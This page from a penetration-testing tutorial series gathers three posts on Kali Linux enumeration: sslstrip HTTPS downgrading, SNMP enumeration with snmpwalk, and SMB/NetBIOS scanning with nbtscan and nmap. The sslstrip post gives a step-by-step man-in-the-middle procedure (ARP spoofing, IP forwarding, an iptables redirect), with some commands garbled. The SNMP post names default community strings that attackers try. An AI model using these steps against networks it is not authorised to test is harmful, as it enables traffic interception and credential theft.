Open post

Secure Socket Layer SSL analysis with sslstrip in Kali Linux

MODULE 6:- Enumeration

  1. Secure Socket Layer SSL analysis with sslstrip in Kali Linux
  2. SNMP Enumeration Kali by snmpwalk tool and snmpenum
  3. nbtscan and nmap “nbtstat -s” For SMB scanning

What is SSL (secure socket layer)?

SSL analysis (Secure Socket Layer) is a standard security technology which used for establishing an encrypted channel between a server and a client. For example a web server (website) and a browser; or a mail server and a mail client.

SSL allows sensitive information such as credit card numbers, social security numbers, and login credentials to be transmitted securely. Normally, data sent between browsers and web servers is sent in plain text—leaving you vulnerable to eavesdropping. If an attacker is able to intercept (capture) all data being sent over the internet between a browser and a web server they can see and use that information. Http is sent data in plain text over network. https protocol used for establishing scure channel between browser (client) and web server.

More specifically, SSL is a security protocol. Protocols describe how algorithms should be used; in this case, the SSL protocol determines variables of the encryption for both the link and the data being transmitted.

More detail

What sslstrip?

Sslstrip is tool used to downgrade HTTPS to HTTP. It will transparently hijack HTTP traffic on a network, watch for HTTPS links and redirects, and then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial.

How does sslstrip work?

First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send attacker all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).

SSLstrip example

2 ssl exaple

Running sslstrip

Step 1: Enable port forwarding

echo “1” > /proc/sys/net/ipv4/ip_forward

2 arp spoof

Step 2: Findout network gateway

netstat –r

sslstrip netstat -r

Step 3: Spoof MAC address with gateway MAC address using arpspoof

arpspoof -i <interface> -t <targetIP> <gatewayIP>

arpspoof -i eth0 -t

Open new terminal and run following command

arpspoof -i eth0 -t

Step 4: Setup iptables to redirect HTTP traffic to sslstrip.

iptables -t nat -A PREROUTING -p tcp –destination-port 8080 -j REDIRECT –to-port <listenPort>

iptables -t nat -A PREROUTING -p tcp –destination-port 8080 -j REDIRECT –to-port 1000

Step 5:  Write the results to a file (-w sslstrip.log), listening on port 1000 (-l 1000):

Sslstrip –w sslstrip.txt –l 1000



SNMP Enumeration Kali by snmpwalk tool and snmpenum

MODULE 6:- Enumeration

  1. Secure Socket Layer SSL analysis with sslstrip in Kali Linux
  2. SNMP Enumeration Kali by snmpwalk tool and snmpenum
  3. nbtscan and nmap “nbtstat -s” For SMB scanning

SNMP Enumeration by Kali Linux

SNMP Enumeration Kali Linux by snmpwalk tool is a Free and best snmp monitoring software tools based on windows and linux. Snmp tools are used to scan and monitor the snmp network. I this article you will learn about commands. snmpenum tools for kali linux also used to enumeration.

What is SNMP?

The Simple Network Management Protocol is used to manage and monitor hardware devices connected to a network. It is managed by network management software.To utilize SNMP in this fashion you need three distinct components:

  • Network Management System
  •  SNMP Agents: A Device that can communicate each other by using snmp protocol
  •  Managed devices

Management Information Base (MIB)

The managed devices records information and by use of the deployed agent communicates with the overarching Network Management System. This information is stored in a Management Information Base (MIB).

It is dangerous as it is a clear text protocol and as such could potentially provide valuable information to an attacker
You may have heard of Community Strings, the default are Public and Private. Should you be utilising this in your domain, these should be changed as they are the first strings that an attacker will try to gain information about your network and more dangerously, control over your hardware.

SNMP Traps

Another term of note is SNMP Traps, this is generally when a device has been configured to receive pre-configured alerts/ information from other clients. It uses UDP Port 161 to communicate.

What is SNMP Enumeration Kali?

It is process of using SNMPwalk tool to enumerate user accounts and devices on a target system. SNMP has two passwords to access and configure the SNMP agent from the management station. The first is called a read community string. This password lets you view the configuration of the device or system. The second is called the read/write community string, its for changing or editing the configuration on the device.

By default read community string is public and read/write community string is private. If these passwords are not changed they can be used by an attacker do snmp enumeration Kali linux as SNMP Manager. If the default password is not as above other default passwords can be found on

SNMP enumeration Kali Linux snmpwalk tool

Snmpenum and snmpwalk tool

Open post
nbtscan and nmap nbtstat For SMB scanning

nbtscan and nmap “nbtstat -s” For SMB scanning

MODULE 6:- Enumeration

  1. Secure Socket Layer SSL analysis with sslstrip in Kali Linux
  2. SNMP Enumeration Kali by snmpwalk tool and snmpenum
  3. nbtscan and nmap “nbtstat -s” For SMB scanning

SMB network scans by nbtscan scanner

nbtscan is a free network scanning software it is find out vulnerability after scanning network. it generate scanning files, contains the IP Address and other information of netbios block. it is amazing network scanning tools in kali Linux used for network security auditing and finding out vulnerability. 

SMB  enumeration

SMB enumeration is a technique to get all entities related NetBIOS, If the pentester is working at windows environment then he reveal the NetBIoS information through the nbtscan.

nbtscan for Linux

The nbtscan tool will generate a report that contains the IP address, NetBIOS computer name, services available, logged in username, and MAC address of the corresponding machines. The NetBIOS name is useful if you want to access the service provided by the machine using the NetBIOS protocol that is connected to an open share. Be careful as using this tool will generate a lot of traffic and it may be logged by the target machines. (Kali Linux- Assuring Security by Penetration Testing – Allen, Lee)

Nbtscan Usages

To see the available options for nbtscan just type nbtscan –h in the command line console.

Following options are available with nbtscan

                -v     verbose output. Print all names received from each host

                -d     dump packets. Print whole packet contents.

                -e     Format output in /etc/hosts format.

                -l      Format output in lmhosts format. Cannot be used with -v, -s or -h options.

                -t timeout    wait timeout milliseconds for response. Default 1000.

                -b bandwidth     Output throttling. Slow down output, it uses no more that bandwidth bps.

                                          Useful on slow links, so that ougoing queries don’t get dropped.

                -r    use local port 137 for scans. Win95 boxes respond to this only. You need to be root to                          use this option on Unix.

                -q    Suppress banners and error messages,

                -s separator        Script-friendly output. Don’t print column and record headers, separate                                                fields with separator.

                -h                      Print human-readable names for services. Can only be used with -v option.

                -m retransmits  Number of retransmits. Default 0.

                -f filename          Take IP addresses to scan from file filename. -f – makes nbtscan take IP                                              addresses from stdin.

                <scan_range>   what to scan. Can either be single IP like or range of                                                         addresses in one of two form 


Examples How to use nbtsccan

nbtscan -r

                Scans the whole C-class network.


                Scans a range from to

nbtscan -v -s :

                Scans C-class network. Prints results in script-friendly format using colon as field separator

nbtscan -f iplist

                Scans IP addresses specified in file iplist.

Enumerate smb by nbtstat script in nmap

User Summary

Attempts to retrieve the target’s NetBIOS names and MAC address.

By default, the script displays the name of the computer and the logged-in user; if the verbosity is turned up, it displays all names the system thinks it owns.

Example Usage

sudo nmap -sU –script nbstat.nse -p137 <host>

nbtstat -s

Scroll to top